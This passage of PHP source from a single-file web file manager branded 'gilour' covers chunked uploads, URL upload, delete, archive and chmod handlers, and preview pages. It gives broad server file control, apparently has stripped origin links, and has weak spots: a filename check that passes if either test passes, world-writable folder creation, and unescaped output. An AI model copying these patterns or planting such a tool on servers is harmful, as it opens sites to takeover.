    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
        $response = array (
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response); exit();
    }

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }
        if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
            if ($chunkTotal){
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === '') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream",
                        'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream"
                        );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists ($fullPath)) {
                        $ext_1 = $ext ? '.'.$ext : '';
                        $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }

            } else {
                if (rename($tmp_name, $fullPath)) {
                    if ( file_exists($fullPath) ) {
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                            'status' => 'error',
                            'info'   => 'Couldn\'t upload the requested file.'
                        );
                    }
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info'      => "Error while uploading files. Uploaded files $uploads",
                    );
                }
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}


if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach($files as $file){
        array_push($sanitized_files, fm_clean_path($file));
    }
    
    $files = $sanitized_files;
    
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' and is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {

                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }
    
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) and fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

if (isset($_GET['upload']) and !FM_READONLY) {
    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION and $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
                    <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if(_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_POST['copy']) and !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
                    <p>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> 
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) and !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i>  <?php echo lng('Settings') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100" id="js-3-0" name="js-theme-3">
                                <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
                                <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="." target="_blank" class="app-v-title"> gilour <?php echo VERSION; ?></a></h3></p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
            <p class="break-word">
                <?php $display_path = fm_get_display_path($file_path); ?>
                <strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
                <strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
                <strong>MIME-type:</strong> <?php echo $mime_type ?><br>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) and $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                    ?>
                    <?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
                    <?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
                    <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
                    <?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
                    <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                        }
                    }
                    echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
                }
                ?>
            </p>
            <div class="d-flex align-items-center mb-3">
                <form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> &nbsp;
                </form>
                <b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                    ?>
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
                    </form>&nbsp;
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
                    </form>&nbsp;
                    <?php
                }
                if ($is_text and !FM_READONLY) {
                    ?>
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                        </a></b> &nbsp;
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                            class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                        </a></b> &nbsp;
                <?php } ?>
                <b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
            </div>
            <?php
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo '<code class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' . fanco($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>'.lng('Error while fetching archive info').'</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                    echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
